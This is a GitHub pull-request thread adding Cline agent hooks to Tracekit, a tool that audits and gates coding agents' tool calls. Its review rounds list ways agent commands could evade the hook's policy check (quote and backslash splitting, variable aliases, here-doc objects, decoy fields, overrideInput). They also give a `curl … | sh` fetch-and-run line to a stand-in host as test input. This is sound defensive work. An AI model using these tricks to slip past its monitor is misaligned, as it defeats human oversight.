Skip to content

Coding agents: hooks for Cline, CLI and VS Code extension (#695) - #732

Merged
LoopGlitch26 merged 16 commits into
Cygnux-Labs:mainfrom
khushi-git-7:agent/issue-695
Nov 12, 2026
Merged

LoopGlitch26 merged 16 commits into
Cygnux-Labs:mainfrom
khushi-git-7:agent/issue-695

Conversation

@khushi-git-7

Copy link
Copy Markdown
Contributor

What and why

Fixes #695. tracekit init --agent cline (dev and --v2) installs Tracekit's hooks for Cline, for both the CLI and the VS Code extension. Cline runs a hook as an executable file named after its event, so Tracekit writes one file per event (PreToolUse, PostToolUse, TaskStart, TaskComplete, UserPromptSubmit; <event>.ps1 on Windows, the only form the extension runs) into Documents/Cline/Hooks, or .clinerules/hooks with --project. It never replaces a hook file that isn't Tracekit's.

  • Tools. run_commands maps to Bash (every command line, in one command), read_files to Read (paths, one per file), and editor to Write when it creates a file (no old_text or insert_line), else to Edit. apply_patch maps to Edit (every file the patch names) and fetch_web_content to WebFetch (every URL). Each is decided on its own arguments only, never a decoy file_path beside them, across all the input shapes Cline's schemas accept. An input Tracekit can't read is refused, not allowed.
  • Answers. A block or hold is {"cancel": true, "errorMessage": ...} at exit 0. Each hook file answers a cancel when the hook prints nothing, and caps TRACEKIT_APPROVAL_WAIT at 20 s under Cline's hook timeouts.
  • Runs. A CLI run is keyed on sessionContext.rootSessionId (the session cline --id resumes); the extension's on taskId. Only the root agent's TaskComplete ends a run, and TaskCancel doesn't, so a held call can be approved and its task resumed in the same run.
  • Extension payloads. These have no call id, so calls are paired by (tool, arguments). The result arrives as "[object Object]", which is read as no result. Both are in docs/limits.md.
  • Install folder. init writes to the Documents folder the OS reports (XDG on Linux, the registry on Windows) and warns when the CLI's ~/Documents differs. It also reminds that Hooks must be on in the extension's settings. doctor lists the hook files and warns about a second Tracekit copy.
  • Policy. TK-F009/TK-F015 now flag an agent's write to Cline's hooks and settings (~/.cline, .cline/hooks, .clinerules/hooks, Documents/Cline/Hooks). The coding pack's hash changed with them; eval/results has the new hash, and no detection result changed.
  • Tests and docs. tests/data/harness/cline.json has real PreToolUse payloads, three from the CLI and three from the extension (userId redacted). Docs: coding-agents.md, limits.md, integrations.md, support.md and the README.

The capture findings behind these choices are in #695.

How I ran it as a user

On a fork's Actions runner (Ubuntu), with this branch installed by pip install "tracekit-ai @ git+https://github.com/khushi-git-7/Tracekit@agent/issue-695", then tracekit init --dev --v2 --agent cline (--project for the extension). I ran four tasks through real Cline, against a scripted OpenAI-compatible model:

  1. A curl … | sh command (TK-D002): cancelled, nothing ran.

  2. A download piped into a script (TK-A046): held, did not run. Then tracekit approvals approve <id>, and the task resumed (cline --id <session> on the CLI; Resume Task in the extension). The approved call ran in the same run:

    approval consumed call_0 8c24a338
    RESULT approved then resumed: ok, ran
    
  3. Read a file, then create one: both ran.

  4. tracekit last --open, with this output on the CLI:

    run f0520532b4bee2d403683217c90d7073 (cline)
    VERIFIED: 3 tool calls in 9 signed records, none changed, removed or added after signing.
    

    and this on the VS Code extension 4.1.26 (run headless with @vscode/test-electron):

    run 28cfe2b1ee31fd7a3f0102c2e50b63c4 (cline)
    VERIFIED: 2 tool calls in 8 signed records, none changed, removed or added after signing.
    

Not run live on Windows or macOS; the hook tests also run on Windows (3.13) and Ubuntu (3.9).

Checklist

  • make check passes (lint, tests, build); make test-ts too if sdk/typescript/ changed (pyflakes and the full test suite on Ubuntu 3.12: 4989 passed, 398 skipped, plus the hook tests on Windows 3.13 and Ubuntu 3.9, on my fork's Actions; I didn't run make build)
  • a regression test covers the change
  • user-visible changes are described above (release notes are written at release time; don't edit CHANGELOG.md)
  • docs updated if behaviour or a security claim changed (docs/threat-model-laptop.md,
    docs/threat-model-server.md)
  • every commit is signed off (git commit -s, see CONTRIBUTING.md)

Security invariants

  • the agent still never holds a signing key or assigns sequence numbers
  • nothing an agent-controlled process supplies (isolation level, fail mode, gap/tamper records,
    approval identity) is newly trusted by the signer or verifier
  • gaps are still signed, never silent; a check that cannot run warns instead of passing
  • no verification code is shipped inside a bundle

Evidence format

  • this change does not touch the frozen formats: v1 (core.sig_message, ledger.make_record, the v1 schema, how
    the verifier treats existing bundles) or the published v2 format
  • or, if it does: the issue explicitly asks for it, existing bundles (including docs/sample/ and
    tests/fixtures/) still verify, and the change is called out above

#710 (Copilot) touches the same lists in agent_hooks.py, the docs tables and the policy patterns, so whichever lands second will need a small merge; I'm happy to do it here.

…s#695)

Tracekit's hook files for PreToolUse, PostToolUse, TaskStart, TaskComplete,
TaskCancel and UserPromptSubmit, in ~/Documents/Cline/Hooks (--project:
.clinerules/hooks), the folders Cline's CLI and VS Code extension both read.
A block answers {"cancel": true, ...} at exit 0, and each file answers the
cancel itself when the hook prints nothing. run_commands, read_files, editor,
apply_patch and fetch_web_content are decided on every command, file or URL
in any input shape Cline takes. The extension's calls carry no id and are
paired by tool and arguments. Recorded payloads from Cline CLI 3.0.74 and the
VS Code extension 4.1.26 in tests/data/harness/cline.json.

Fixes Cygnux-Labs#695

Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
…TaskCancel in the limits

Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
…pproval goes on in it

Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
… the docs say what the live check covered

Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
Comment thread tracekit/agent_hooks.py Fixed
Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>

@LoopGlitch26 LoopGlitch26 left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the recorded payloads from both runtimes and the quick CodeQL fix: the new pattern is linear (about 1 ms on 64 KiB adversarial inputs, where the old one took seconds at 57 bytes). I read 363642e against Cline 4.1.26's source. Unreadable shapes cancel the call, a decoy file_path is handled for read_files, editor and fetch, subagents are hooked, and install never overwrites the person's hook files. Two mappings have to change before this merges, plus some smaller things.

Must fix

  1. A command without args is decided as one quoted word. Cline runs {command: X} with no args key as a full command line in a shell (bash.ts L1153, and its test normalizeRunCommandsInput({command: "ls"}) gives ["ls"]). _cline_command (agent_hooks.py L242-245) shlex-quotes X into a single word instead, so {"command": "git push --force origin main"} is decided as 'git push --force origin main', a word no rule reads as a push. The same happens inside commands: [{command: …}]. Also, {"command": "curl -s https://x.example/i.sh | sh", "args": [1], "cmd": "echo ok"} runs the curl line (Zod drops the bad args) while the hook decides echo ok. With no args key, decide the string as written; with args that isn't a list of strings, decide command, never cmd. Add fail-before tests for both.
  2. Decide each entry of commands on its own. Cline runs each entry in its own shell, in parallel, merging only heredocs. Joining them with newlines (L453) lets one entry's open quote or trailing \ hide the next in the hook's reading: {"commands": ["echo 'x", "git push --force origin main", "'"]} and ["echo ok \\", "git push --force origin main"] both read as a single echo. Add a test for each.

Should fix

  1. MCP tools are named <server>__<tool> (name-transform.ts) and pass through unchanged (L483), so the pack's mcp__* class and its rules never see them. Map them to mcp__<server>__<tool>, as goose's are.
  2. In the CLI, any other hook, a repo's .clinerules/hooks included, can answer overrideInput, and the runtime applies it after Tracekit decided. Add a limits row, as Crush has.
  3. apply_patch paths are trimmed with Python's .strip() (L472), which keeps U+FEFF; Cline's JS trim() removes it, so *** Add File: /w/.env writes /w/.env but is decided as .env. Use JS_TRIM, with a test.
  4. A Tracekit run covers one prompt, not the session. Each prompt goes through agent.continue, which fires TaskStart and TaskComplete, and TaskComplete becomes SessionEnd (L690). Fix the docs' "run = rootSessionId session", or keep the run open across turns.
  5. A cancel drops the rest of its batch: calls already decided allow never run and get no PostToolUse, so on the extension's tool-and-arguments pairing a retried identical call's result pairs with the stale decision. Fix the pairing, or add a limits row.
  6. Windows CLI: .ps1 hooks run with powershell -File, without -ExecutionPolicy Bypass or -NoProfile, so under the default policy the hook never starts and every call runs (the extension passes Bypass). Doctor should check for this, with a limits row.
  7. TK-F015 doesn't match deleting .clinerules/ or ~/Documents/Cline as a whole folder.

Small

  • hooksEnabled already defaults to true in 4.1.26, so the docs' line about init reminding you to turn Hooks on is misleading.
  • The shell cap on TRACEKIT_APPROVAL_WAIT misses values float() takes (1e3, 1_000, inf), which outlast the extension's 30 s timeout. Cap it in Python.
  • The "[object Object]" check misses results with several entries.
  • new_text isn't read as content.
  • PostToolUse and the Task events in cline.json are synthesized. Record real ones if you can, or say they're synthesized in the file.

I'll set the coding pack's final version at merge (#605 and others move it too). CI was green so far when checked.

- run_commands: `command` with no string `args` is the line as written (never
  `cmd`), and each of several commands is decided on its own, as Cline runs
  each in its own shell (a here-doc joined to its delimiter's line); the v2
  engine reads each entry of a `commands` list on its own
- MCP tools <server>__<tool> are mcp__<server>__<tool>
- apply_patch paths trimmed as JS trim() does (U+FEFF too)
- editor's new_text is the call's content
- the approval wait is capped in Python, as the v2 hook reads it
- every "[object Object]" result is no result
- doctor warns when PowerShell's execution policy keeps the CLI's hooks from
  starting; TK-F015 flags deleting .clinerules or a Cline folder
- docs: a run is one task; limits rows for overrideInput, a cancelled
  batch, the execution policy and the v1 approval timeout; no Hooks reminder

Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
…lback included; the editor fixtures' content

Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>

@LoopGlitch26 LoopGlitch26 left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks, that's most of it at 47892ca (code in 363f3a9). Fixed:

  • a whole command line decided as written;
  • command over cmd;
  • MCP names;
  • the overrideInput, cancelled-batch and run-per-task rows;
  • JS trimming;
  • the PowerShell policy check in doctor;
  • the CodeQL pattern;
  • the small ones.

What's left is in how several commands are read:

  1. Decide on both readings, not only per entry. Moving the per-entry reading into Engine._parse (engine.py L399-414) is right for Cline and for the OpenAI Agents ShellTool (each entry its own subprocess). But it reaches every tool whose arguments carry a commands list, and LangChain's ShellTool joins its entries with ; in one bash (BashProcess.run). There, per-entry reading is looser than today: ["g=git", "$g push --force origin main"] resolves to a push when read joined, but read one entry at a time $g is unknown and the push rules don't see it. Keep today's joined reading and add the per-entry one, and decide on what either finds. Add a test with that pair and one where per entry finds what the joined reading hides.
  2. Live constraints read the list joined. constraints.py L71 imports _shell, which still joins with newlines, so for {"commands": ["echo ok \\", "git push origin main"]} the constraint facts say push: False (with "touch notes.txt" as the second entry, write: False). Give constraints.shell the same two readings, with a test against a live "don't push" constraint.
  3. An object inside a here-doc run. In {"commands": ["cat <<EOF", {"command": "git push --force origin main"}, "EOF"]}, the hook turns the object into a string and joins it into the here-doc block (L251), so it's decided as cat with here-doc text. Cline joins only plain strings into a here-doc (coalesceAdjacentStringHeredocs, typeof command === "string") and runs the object in a shell of its own. An object entry should end the run of strings, as an argv entry already does. Test it.
  4. v1's approval wait outlasts Cline's. The v2 cap is in, but the v1 hook waits up to approval_timeout_s (120 s by default) for a held call, while the extension gives a hook 30 s and the CLI 120 s, and then runs the call. Cap the v1 wait for Cline below the runtime's timeout, or have init --agent cline require --v2. Extend the limits row to the CLI.

Optional: per-entry parsing costs about twice the joined parse on a 64 KiB list of tiny entries (about 0.5 s against 0.25 s), still inside MAX_WORK. Charging a small fixed cost per entry would keep it near today's.

#605 changes engine.py too and merges first, so please merge main after it. I'll set the coding pack's version then.

@LoopGlitch26

Copy link
Copy Markdown
Member

#605 has merged, so please merge main into this branch. It changed tracekit/policy2/ and the coding pack, which is now 2026.11-v2-80: set this branch's coding pack version to 2026.11-v2-81. If another PR takes that number first, I'll move yours on merge.

Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>

# Conflicts:
#	eval/results/e17_policy_corpus.json
#	eval/results/e21_policy_robustness.json
#	eval/results/e21_robustness.json
#	tracekit/policy2/packs/coding.yaml
…engine and live constraints; an object entry ends a here-doc run; the v1 wait capped under Cline

Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
…ged)

Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
@khushi-git-7

Copy link
Copy Markdown
Contributor Author

Thanks. Main is merged (6fc8e9f; #605 moved TK-F009 and TK-F015 into ask, so I kept its versions and added only the Cline paths, and the Cline limits row now says they're held), the coding pack is 2026.11-v2-81, and the rest is in 47722b4 and 4c5f6f3:

  1. Both readings. Engine._parse reads the call as before (a commands list joined) and, when there are several entries, each on its own too (commands_each), and decides on what any reading finds (joined_readings; an unreadable reading adds TK-SHELL-PARSE as before). A test in ClineTools decides ["g=git", "$g push --force origin main"] (the joined reading finds it) and ["echo 'x", "git push --force origin main", "'"] (only per entry finds it) through the shipped pack: both get the push's verdict and rule ids.
  2. Live constraints. constraints.shell takes the same readings (commands_each), facts from every one that parses. test_a_codex_patch_and_a_nested_push_are_held now holds ["echo ok \\", "git push origin main"] and ["g=git", "$g push origin main"] under a live no_push, and ["echo ok \\", "touch notes.txt"] reads as a write.
  3. An object in a here-doc run. Any object entry, argv or line, now ends the run of strings and is its own command, as in coalesceAdjacentStringHeredocs; ["cat <<EOF", {"command": "git push --force origin main"}, "EOF"] gives three commands, with a test.
  4. v1's wait. hook.APPROVAL_CAP_S, which agent_hooks.run sets to CLINE_WAIT_S for Cline only, caps approval_timeout_s and each approval_wait, with no 5 s grace under a cap. A test checks the request's timeout_s and wait_s, and that only Cline sets it. The limits row now says a held call's hook waits at most 20 s on either hook.

I left out the optional per-entry charge for now; happy to add a fixed cost per entry if you'd like the budget to stay near today's.

On my fork the hook tests pass on Windows 3.13 and Ubuntu 3.9, and the evals show only the new policy hash. The full suite is still running; I'll post here if it finds anything.

@LoopGlitch26

Copy link
Copy Markdown
Member

Thanks, all four are in at 47722b4: both readings in the engine and in live constraints, an object entry ending a here-doc run, and the v1 wait capped under Cline's timeout. The merge with #605 is clean and the pack is at v2-81. One thing left: the merge kept main's eval/results/e17_policy_corpus.json, e21_policy_robustness.json and e21_robustness.json, which still carry main's policy hashes, so CI's offline evals will fail. Please run make eval (or the three scripts) and commit the results; only the hashes should change. One trade-off to know about: a very long benign list (around 13,000 tiny entries) now spends the parse budget and waits for a person, where main read it whole. That's bounded and fine, and a limits line would say it. Once CI is green, the final head gets its last check.

Signed-off-by: Khushi Jain <jainkhushibts@gmail.com>
@khushi-git-7

Copy link
Copy Markdown
Contributor Author

Thanks! The eval hashes were in 4c5f6f3, pushed just after 47722b4: e17_policy_corpus, e21_robustness and e21_policy_robustness, with only the policy hashes changed. I took them from my fork's offline-evals run of the merged branch. 249dc97 adds the limits row for the long-list trade-off: a commands list read both ways shares one parse budget, so about 13,000 tiny entries spend it and ask, with splitting the list into several calls as the remedy.

@khushi-git-7

Copy link
Copy Markdown
Contributor Author

CI on 249dc97 has two red jobs, and I don't think either comes from this change:

  • py3.9 on ubuntu-latest: test_demos failed because the guardrails demo's dev signer held signer.lock but never answered (autospawn.Hung, pid None). I reran tests/test_demos.py three times on 3.9 at this head on my fork and it passed all three (5 passed each time). The PR doesn't touch autospawn or the demos.
  • Signer evals E9: 925 events/s against the 1,000 gate. E9's calls are file-path tool calls, so they never reach the commands code this PR adds to Engine._parse. To be sure, I ran E9 on main and on this head, taking turns on one runner: main got 1,537, 1,524 and 1,548 events/s; this branch got 1,548, 1,537 and 1,571 (ack-on-write p99 about 2.2 ms for both).

Could you re-run those two jobs when you get a chance?

@LoopGlitch26

Copy link
Copy Markdown
Member

Agreed on both: neither path touches the commands code, and your alternating E9 runs put this head level with main. I re-ran the two jobs.

@LoopGlitch26
LoopGlitch26 merged commit c5a3923 into Cygnux-Labs:main Nov 12, 2026
34 checks passed
pm25coder added a commit to pm25coder/Tracekit that referenced this pull request Nov 12, 2026
Cygnux-Labs#605/Cygnux-Labs#732 rewrote parts of `engine.py` and `shell.py` under this branch. The merge keeps both sides: main's
`commands_each` and `joined_readings`, and its `_parse_one` split that reads a `commands` list entry by entry,
with the branch's `fold` threaded through that split -- each entry is its own line to a shell, so it folds by its
own liveness rather than the joined list's. `shell.py` merges with no conflict.

The one conflict is `_shell`'s definition, which main redefined and this branch extends with `fold`. The
resolution is main's body with the parameter kept.

`fold.py` and `shell.py` are unchanged from the reviewed head; `engine.py` and `tests/test_policy2.py` here
carry the fix as reviewed.
LoopGlitch26 added a commit that referenced this pull request Nov 12, 2026
…llel asks, tracekit last, gateway listing errors (#753)

* Integrations: MCP big lists and input-required rounds, LangChain parallel asks, tracekit last, gateway listing errors

- MCP client (#685): a list page over half a signer frame is recorded as its digest (result_field, as the
  gateway does), so list_tools no longer fails with quota_exceeded; mcp's own re-list inside call_tool
  (validate_tool_result) is no longer recorded as input the model read.
- MCP input-required rounds (#718): a pending round is keyed by the asyncio task driving the call, so a
  server that reuses request_state can't move one call's result under another's decision; a call the task
  leaves between rounds completes with the input request it returned.
- LangChain (#687): a call whose approval is already answered doesn't pause again, so in a
  tracekit_tool_node with two asks the approved call runs on resume (16 of 16 on invoke and ainvoke); the
  call still waiting is refused.
- tracekit last: OpenCode, Kilo, goose and Antigravity runs finish at the signer's idle timeout, not when
  the session ends.
- MCP gateway: the repeated-cursor error says what happened; a listing past its shared 600 s budget names
  the upstream; docs/mcp-gateway.md documents the budget.

* LangChain: a ToolNode decides every call of a message before any runs, so no call runs in a pass that then pauses

ToolNode runs a message's calls in one node, which LangGraph runs again from its start on each resume. A call that
ran in a pass that then paused ran again or read as refused: an allowed sibling of one ask ran twice, and with three
or more asks a call that ran was refused on the next pass while an approved one never ran.

A gated ToolNode (tracekit_tool_node, or one instrument() wired) now decides a pass's calls together first
(TracekitMiddleware._pass) and pauses once, before any runs, while an approval is unanswered; the payload's
`approvals` lists every waiting one. On resume each allowed or approved call runs once and each rejected or
unanswered one is refused. The hook is ToolNode's class-level node function and acts only while the node's wrapper
is the gate's, so tracekit why's replay copy (its own wrapper) runs no real tool. Replaces the lean note.

* tracekit last: a Cline run finishes when its task completes (#732 added Cline)

* LangChain: a tool's own interrupt() gets the person's answer; an executor's call stays the executor's

LangGraph pairs resume values with a node's interrupt() calls by order. Once an approval was answered the gate
stopped pausing, so a tool that asked the person itself got the approval's resume value and ran without asking.
The gate now pauses for an ask in every pass of its node, answered or not (a ToolNode pass once, when any call
asks), so a tool's interrupt() always comes after it. A call whose tool paused the run after its consume goes on,
consumed once, on resume (main refused it as TK-APPROVAL-CONSUMED); in a held ToolNode pass, calls that already
ended are given back, not decided, asked, run or recorded again. Both are kept in memory; docs and limits say what a
resume in another process does.

_pass leaves a tool executor's calls to the executor. The MCP gateway's listing timeout also catches
concurrent.futures.TimeoutError, a separate class before Python 3.11.

* LangChain: back to main's parallel-ask behaviour; the redesign moves to its own PR

The multi-call ToolNode changes (#687) keep exposing new cases (RetryPolicy re-raising a kept exception, async
sibling cancellation), so this PR keeps main's langchain.py, autowire.py, their tests and doc. The held-pass design
moves to a draft PR for after 1.7.0. docs/limits.md says what main does with several asks in one ToolNode. The
fork-replay leak found earlier came from this branch's own hook and isn't on main.

* Limits: under ainvoke, a repeated approval can leave another approved call denied and unrun

* Review fixes: MCP rounds left waiting stay gaps, listing timeouts, LangGraph row

- MCP: a multi-round call its task leaves (the elicitation callback fails, the
  rounds run out, the caller moves on) is never completed later; it was
  completed "ok" with its input request when the task made another call, though
  its caller had got an exception. It ends as the signer's decided_not_completed
  gap at run close, as the docs say.
- MCP gateway: only the listing's own time running out (Upstreams._run's wait,
  now UpstreamTimeout) is reported as the listing's budget; a TimeoutError the
  upstream call or the reconnect raises keeps the upstream error and its advice.
- Tests: a round's input requests over half a frame are recorded as a digest.
- Limits: the LangGraph parallel-asks row says what happens under invoke and
  ainvoke alike, with what-to-dos checked against the code; a row for MCP rounds
  sent from different tasks.

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>

* MCP gateway: a call that ends as its wait runs out gives its own answer; a reconnect with no session names the upstream; MCP docs say which decisions wait and which calls end a waiting one

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>

* MCP gateway: a call to an upstream that can't be opened again says nothing was sent; a call that ends as its wait is cancelled gives its answer; docs on the reconnect's time and which decisions wait

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>

---------

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
@khushi-git-7

Copy link
Copy Markdown
Contributor Author

Thanks for the careful reviews on this one, @LoopGlitch26. Each round caught something real.

@LoopGlitch26

Copy link
Copy Markdown
Member

Thanks for working through each round. If you'd like a next one close to this code, #771 turns the ValueError your Cline mapping raises into its own exception, so tracekit audit can tell a call it can't read from a real bug. It's a good first issue.

@khushi-git-7

Copy link
Copy Markdown
Contributor Author

Thanks, I'll take #771.

aj-codespy added a commit to aj-codespy/Tracekit that referenced this pull request Nov 12, 2026
Main has Cygnux-Labs#605 (policy2 and the coding pack, now 2026.11-v2-81) and Cline's
hooks (Cygnux-Labs#732) in the same files: both harnesses are kept in AGENT_NAMES,
PAIRED, config_path, the docstrings, the coding-agents table and the
TK-F009/TK-F015 paths. The pack's version stays main's (set at merge);
E17/E21 carry the new policy hashes (decisions unchanged).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Signed-off-by: aj-codespy <ajayush2301@gmail.com>
LoopGlitch26 added a commit to Cygnux-Labs/tracekit-skills that referenced this pull request Nov 13, 2026
* tracekit-setup: the cline and codebuddy agents

Tracekit's init takes --agent cline (Cygnux-Labs/Tracekit#732) and --agent
codebuddy (Cygnux-Labs/Tracekit#757): the skill names both among the agents
it sets up, so it no longer tells the operator they aren't supported.

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>

* tracekit-setup: the gptme, openhands and copilot agents

Tracekit's init takes --agent gptme (Cygnux-Labs/Tracekit#778), --agent
openhands (Cygnux-Labs/Tracekit#662) and --agent copilot (Cygnux-Labs/Tracekit#782), which land
with cline and codebuddy in its first policy merge train: the skill names all
five among the agents it sets up.

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>

---------

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
tylrcc pushed a commit to tylrcc/Tracekit that referenced this pull request Nov 13, 2026
Conflicts with Cline's hooks (Cygnux-Labs#732) resolved by keeping both harnesses:
the agent list, the tool mapping, normalise, the reply, config_path and
the installer; TK-F009 and TK-F015 read Cline's and Copilot's folders;
the README badge counts 36 and init takes another of 14. The eval results
are main's, recorded again in the next commit.

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
kausthubhk pushed a commit to kausthubhk/Tracekit that referenced this pull request Nov 14, 2026
Carries Cygnux-Labs#731 onto main (5d88184): Cygnux-Labs#732 took v2-81 and the open Cygnux-Labs#761 and
Cygnux-Labs#767 claim the next numbers, so this takes v2-84; the final number is
settled at merge. E17 is 853/853 with 1 false alarm in 901; E21's
held-out pool is 259/420 on default and 286/420 on strict, and strict
holds 47 of E17's 901 benign calls. The blind pools don't move. The
held-out table in docs/evaluation.md quotes the new rows; the machine,
engine-version and latency fields stay main's.

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Coding agents: hooks for Cline (VS Code extension and CLI)

3 participants